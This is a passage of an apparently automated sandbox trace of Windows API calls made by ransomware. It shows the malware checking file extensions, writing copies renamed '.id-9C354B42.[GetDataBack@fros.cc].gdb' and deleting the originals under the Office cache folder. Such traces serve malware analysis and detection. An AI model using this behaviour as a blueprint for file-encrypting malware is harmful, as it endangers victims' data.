[0115.889] lstrlenW (lpString=".ppt") returned 4 [0115.889] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.889] lstrlenW (lpString=".zip") returned 4 [0115.889] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.889] lstrlenW (lpString=".rar") returned 4 [0115.889] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.889] lstrlenW (lpString=".bz2") returned 4 [0115.889] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.889] lstrlenW (lpString=".7z") returned 3 [0115.889] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.889] lstrlenW (lpString=".dbf") returned 4 [0115.890] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.890] lstrlenW (lpString=".1cd") returned 4 [0115.890] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.890] lstrlenW (lpString=".jpg") returned 4 [0115.890] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.890] lstrlenW (lpString=".doc") returned 4 [0115.890] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.890] lstrlenW (lpString=".docx") returned 5 [0115.890] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0115.890] lstrlenW (lpString=".pdf") returned 4 [0115.890] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.890] lstrlenW (lpString=".xls") returned 4 [0115.890] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.890] lstrlenW (lpString=".xlsx") returned 5 [0115.890] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0115.890] lstrlenW (lpString=".ppt") returned 4 [0115.890] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.890] lstrlenW (lpString=".zip") returned 4 [0115.890] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.890] lstrlenW (lpString=".rar") returned 4 [0115.890] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.890] lstrlenW (lpString=".bz2") returned 4 [0115.890] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.890] lstrlenW (lpString=".7z") returned 3 [0115.890] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.890] lstrlenW (lpString=".dbf") returned 4 [0115.890] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.890] lstrlenW (lpString=".1cd") returned 4 [0115.890] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.890] lstrlenW (lpString=".jpg") returned 4 [0115.890] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.891] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.891] lstrlenW (lpString="Setup.xml") returned 9 [0115.891] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0115.891] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=1452) returned 1 [0115.891] CloseHandle (hObject=0x19c) returned 1 [0115.891] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0115.891] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.891] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0115.891] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.891] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.892] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0115.892] GetLastError () returned 0x0 [0115.892] ReadFile (in: hFile=0x19c, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x5ac, lpOverlapped=0x0) returned 1 [0115.904] WriteFile (in: hFile=0x1a0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x5b0, lpOverlapped=0x0) returned 1 [0115.905] ReadFile (in: hFile=0x19c, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0115.905] WriteFile (in: hFile=0x1a0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe6, lpOverlapped=0x0) returned 1 [0115.905] SetEndOfFile (hFile=0x1a0) returned 1 [0115.905] CloseHandle (hObject=0x1a0) returned 1 [0115.906] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.906] SetEndOfFile (hFile=0x19c) returned 1 [0115.906] CloseHandle (hObject=0x19c) returned 1 [0115.906] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.907] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0115.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.907] lstrlenW (lpString=".doc") returned 4 [0115.907] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.907] lstrlenW (lpString=".docx") returned 5 [0115.907] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0115.907] lstrlenW (lpString=".pdf") returned 4 [0115.907] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.907] lstrlenW (lpString=".xls") returned 4 [0115.907] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.907] lstrlenW (lpString=".xlsx") returned 5 [0115.907] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0115.907] lstrlenW (lpString=".ppt") returned 4 [0115.907] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.907] lstrlenW (lpString=".zip") returned 4 [0115.907] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.907] lstrlenW (lpString=".rar") returned 4 [0115.907] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.907] lstrlenW (lpString=".bz2") returned 4 [0115.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.907] lstrlenW (lpString=".7z") returned 3 [0115.907] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.908] lstrlenW (lpString=".dbf") returned 4 [0115.908] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.908] lstrlenW (lpString=".1cd") returned 4 [0115.908] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.908] lstrlenW (lpString=".jpg") returned 4 [0115.908] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.908] lstrlenW (lpString=".doc") returned 4 [0115.908] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.908] lstrlenW (lpString=".docx") returned 5 [0115.908] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0115.908] lstrlenW (lpString=".pdf") returned 4 [0115.908] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.908] lstrlenW (lpString=".xls") returned 4 [0115.908] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.908] lstrlenW (lpString=".xlsx") returned 5 [0115.908] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0115.908] lstrlenW (lpString=".ppt") returned 4 [0115.908] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.908] lstrlenW (lpString=".zip") returned 4 [0115.908] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.908] lstrlenW (lpString=".rar") returned 4 [0115.908] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.908] lstrlenW (lpString=".bz2") returned 4 [0115.908] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.908] lstrlenW (lpString=".7z") returned 3 [0115.908] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.908] lstrlenW (lpString=".dbf") returned 4 [0115.908] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.908] lstrlenW (lpString=".1cd") returned 4 [0115.908] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.908] lstrlenW (lpString=".jpg") returned 4 [0115.908] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.909] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.909] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0115.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0115.946] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=819) returned 1 [0115.946] CloseHandle (hObject=0x1c4) returned 1 [0115.946] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0115.947] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.947] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0115.947] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.947] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.947] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0115.947] GetLastError () returned 0x0 [0115.947] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x333, lpOverlapped=0x0) returned 1 [0115.953] WriteFile (in: hFile=0x1c8, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x340, lpOverlapped=0x0) returned 1 [0115.954] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0115.954] WriteFile (in: hFile=0x1c8, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xf4, lpOverlapped=0x0) returned 1 [0115.954] SetEndOfFile (hFile=0x1c8) returned 1 [0115.955] CloseHandle (hObject=0x1c8) returned 1 [0115.955] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.955] SetEndOfFile (hFile=0x1c4) returned 1 [0115.956] CloseHandle (hObject=0x1c4) returned 1 [0115.956] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.956] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0115.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0115.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0115.956] lstrlenW (lpString=".doc") returned 4 [0115.956] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.956] lstrlenW (lpString=".docx") returned 5 [0115.956] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0115.956] lstrlenW (lpString=".pdf") returned 4 [0115.956] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.956] lstrlenW (lpString=".xls") returned 4 [0115.956] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.956] lstrlenW (lpString=".xlsx") returned 5 [0115.956] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0115.957] lstrlenW (lpString=".ppt") returned 4 [0115.957] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0115.957] lstrlenW (lpString=".zip") returned 4 [0115.957] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.957] lstrlenW (lpString=".rar") returned 4 [0115.957] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.957] lstrlenW (lpString=".bz2") returned 4 [0115.957] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.957] lstrlenW (lpString=".7z") returned 3 [0115.957] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0115.957] lstrlenW (lpString=".dbf") returned 4 [0115.957] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0115.957] lstrlenW (lpString=".1cd") returned 4 [0115.957] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0115.957] lstrlenW (lpString=".jpg") returned 4 [0115.957] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0115.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0115.957] lstrlenW (lpString=".doc") returned 4 [0115.957] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.957] lstrlenW (lpString=".docx") returned 5 [0115.957] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0115.957] lstrlenW (lpString=".pdf") returned 4 [0115.957] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.957] lstrlenW (lpString=".xls") returned 4 [0115.957] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.957] lstrlenW (lpString=".xlsx") returned 5 [0115.957] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0115.957] lstrlenW (lpString=".ppt") returned 4 [0115.957] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0115.957] lstrlenW (lpString=".zip") returned 4 [0115.957] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.957] lstrlenW (lpString=".rar") returned 4 [0115.957] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.957] lstrlenW (lpString=".bz2") returned 4 [0115.957] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.958] lstrlenW (lpString=".7z") returned 3 [0115.958] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0115.958] lstrlenW (lpString=".dbf") returned 4 [0115.958] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0115.958] lstrlenW (lpString=".1cd") returned 4 [0115.958] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0115.958] lstrlenW (lpString=".jpg") returned 4 [0115.958] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.958] lstrcmpiW (lpString1=".chm", lpString2=".gdb") returned -1 [0115.958] lstrlenW (lpString="setup.chm") returned 9 [0115.958] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0115.958] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=67190) returned 1 [0115.958] CloseHandle (hObject=0x1c4) returned 1 [0115.958] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0115.958] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.958] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0115.958] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.959] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.959] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0115.959] GetLastError () returned 0x0 [0115.959] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x10676, lpOverlapped=0x0) returned 1 [0115.961] WriteFile (in: hFile=0x1c8, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x10680, lpOverlapped=0x0) returned 1 [0115.963] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0115.963] WriteFile (in: hFile=0x1c8, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe6, lpOverlapped=0x0) returned 1 [0115.963] SetEndOfFile (hFile=0x1c8) returned 1 [0115.963] CloseHandle (hObject=0x1c8) returned 1 [0115.964] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.964] SetEndOfFile (hFile=0x1c4) returned 1 [0115.965] CloseHandle (hObject=0x1c4) returned 1 [0115.965] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.965] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0115.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0115.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0115.966] lstrlenW (lpString=".doc") returned 4 [0115.966] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0115.966] lstrlenW (lpString=".docx") returned 5 [0115.966] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0115.966] lstrlenW (lpString=".pdf") returned 4 [0115.966] lstrcmpiW (lpString1=".pdf", 